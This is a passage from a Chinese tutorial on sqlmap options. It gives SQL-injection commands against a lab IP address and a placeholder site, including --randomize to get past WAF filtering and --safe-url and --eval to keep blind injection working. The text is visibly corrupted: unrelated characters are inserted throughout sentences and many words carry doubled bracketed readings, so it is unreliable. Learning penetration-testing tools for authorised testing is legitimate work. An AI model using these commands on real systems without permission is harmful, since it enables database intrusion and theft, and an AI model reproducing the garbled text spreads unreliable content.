--delay ?每次http(s)請(qǐng)求的延遲時(shí)間谒撼,單位為秒身弊,默認(rèn)無(wú)延遲。設(shè)置0.5表示半秒
--timeout ?請(qǐng)求超時(shí)時(shí)間典格,默認(rèn)為30秒
--retries ?http(s)連接超時(shí)重試次數(shù)岛宦,默認(rèn)3次
--randomize ?長(zhǎng)度、類型與原始值保持一致的前提下耍缴,指定每次請(qǐng)求隨機(jī)取值的參數(shù)名砾肺。可能會(huì)繞過(guò)一些waf的過(guò)濾機(jī)制私恬。
root@kali:~# sqlmap -u "http://192.168.80.33:81/0/Production/PRODUCT_DETAIL.asp?id=1513" --randomize="id"
使用-l參數(shù)掃描burp的日志文件時(shí)债沮,可以使用--scope參數(shù),通過(guò)編寫(xiě)正則表達(dá)式本鸣,對(duì)日志文件進(jìn)行過(guò)濾
root@kali:~# sqlmap -l /root/log.txt --scope="(19)?\.168\.80\.(1|10|161)" --dbs
檢測(cè)和盲注階段會(huì)產(chǎn)生大量失敗請(qǐng)求疫衩,防止服務(wù)器端可能因此銷(xiāo)毀session,使用--safe-url/--safe-freq參數(shù)荣德。
例如:每嘗試10次注入請(qǐng)求闷煤,就會(huì)訪問(wèn)一遍正常的url
root@kali:~# sqlmap -u "http://192.168.80.33:81/0/Production/PRODUCT_DETAIL.asp?id=1142" --safe-url="http://192.168.80.33:81/0/" --safe-freq=10
--skip-urlencode
默認(rèn)Get方法會(huì)對(duì)傳輸內(nèi)容進(jìn)行編碼,有些時(shí)候后端的web服務(wù)器不遵守RFC標(biāo)準(zhǔn)涮瞻,只接受不經(jīng)過(guò)URL編碼的值鲤拿,這時(shí)候就需要用--skip-urlencode參數(shù)。
--eval
有時(shí)需要根據(jù)某個(gè)參數(shù)的變化署咽,而修改另個(gè)一參數(shù)近顷,才能形成正常的請(qǐng)求(例如 時(shí)間依賴等)
使用--eval參數(shù)在每次請(qǐng)求時(shí)根據(jù)所編寫(xiě)的python代碼修改url請(qǐng)求。
sqlmap -u "http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib;hash=hashlib.md5(id).hexdigest()"